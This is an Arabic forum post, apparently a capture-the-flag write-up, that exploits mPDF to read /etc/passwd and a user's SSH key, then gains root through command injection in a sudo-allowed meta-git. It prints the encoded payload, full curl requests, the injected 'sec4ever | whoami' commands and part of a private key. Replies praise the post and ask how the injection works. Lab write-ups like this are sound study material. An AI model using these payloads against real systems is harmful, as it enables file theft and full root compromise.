mPDF read any file + meta-git RCE + root

سيرفر منصه دسم :slight_smile:

تحميل ملف البي دي اف وتتبع الريكيوست بالبربسيوت

فك تشفير الريكويست علما انها base64

عند فتح الملف بالرابط تبين وجود mpdf

بعد البحث قليلا وجدت هذا الرابط

باستعمال سايبر شيف

https://gchq.github.io/CyberChef/#recipe=URL_Encode(false)URL_Encode(false)To_Base64(‘A-Za-z0-9%2B/%3D’)&input=PGFubm90YXRpb24gZmlsZT0iL2V0Yy9wYXNzd2QiIGNvbnRlbnQ9Ii9ldGMvcGFzc3dkIiBpY29uPSJHcmFwaCIgdGl0bGU9IkF0dGFjaGVkIEZpbGU6IC9ldGMvcGFzc3dkIiBwb3MteD0iMTk1IiAvPg

نقوم بالطلب عن طريق curl

❯ curl http://xxxxxxxxxxx/admin/download.php -H “Cookie: PHPSESSID=dd213421d8mg2kds8fo10hf9hib” -d “pdf=JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL2V0Yy9wYXNzd2QlMjUyMiUyNTIwY29udGVudD0lMjUyMi9ldGMvcGFzc3dkJTI1MjIlMjUyMGljb249JTI1MjJHcmFwaCUyNTIyJTI1MjB0aXRsZT0lMjUyMkF0dGFjaGVkJTI1MjBGaWxlOiUyNTIwL2V0Yy9wYXNzd2QlMjUyMiUyNTIwcG9zLXg9JTI1MjIxOTUlMjUyMiUyNTIwLyUyNTNF”

النتيجة :
OKdAtpf213e12edyJeFWPExZ0H.pdf

نقوم بعمل كيرل مره اخرى لتحميل الملف محليا

❯ curl http://xxxxxx/mpdf/tmp/OKdAtpf213e12edyJeFWPExZ0H.pdf --output passwd.pdf

بعد فتح الملف محليا قدرت اقرا الباسوود

وبعدها قرأت id_rsa لليوزر

واتصلت كيوزر ssh

وقت الروت :=)

linpease , pspsy وغيرهم لم يفيد …

تنفيذ الامر
sudo -l

User may run the following commands on faculty:
(root) /usr/local/bin/meta-git

https://hackerone.com/reports/728040

وجدت هذا التقرير في هاكر ون للبلاغ عن مودل Npm فيه exec …

github !

https://github.com/mateodelnorte/metagit/blob/master/lib/metaGitUpdate.js#L49

التنفيذ :

xxxxx@xxxxxxxxxxxx:/$ sudo -u root meta-git clone 'sec4ever | whoami'
meta git cloning into 'sec4ever | whoami' at sec4ever | whoami
sec4ever | whoami:
fatal: repository 'sec4ever ' does not exist
whoami: ‘sec4ever ’: no such user
root
user@xxxxxxxxxxxxx:/$ sudo -u root meta-git clone 'sec4ever | cat ~/.ssh/id_rsa'
meta git cloning into 'sec4ever | cat ~/.ssh/id_rsa' at id_rsa
id_rsa:
fatal: repository 'sec4ever ' does not exist

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxDAgrHcD2I4U329//sdapn4ncVzRYZxACC/czxmSO5Us2S87dxyw
izZ0hDszHyk+bCB5B1wvrtmAFu2KN4aGCoAJMNGmVocBnIkSczGp/zBy0pVK6H7g6GMAVS
pribX/DrdHCcmsIu7WqkyZ0mDN2sS+3uMk6I3361x2ztAG1aC9xJX7EJsHmXDRLZ8G1Rib
KpI0WqAWNSXHDDvcwDpmWDk+NlIRKkpGcV

....

شرح قوي جدا وتفكير ابداعي ياتويستر
النقاط اللي ابي اعرفها بس هنا

sudo -u root meta-git clone ‘sec4ever | whoami’

كيف ضفت ال sudo -u وهو في cmd ما اضفت ( ;

ام ان meta git اذا وضعت الامر تتعرف عليه ؟

اقسم بالله شرح فوق الممتاذ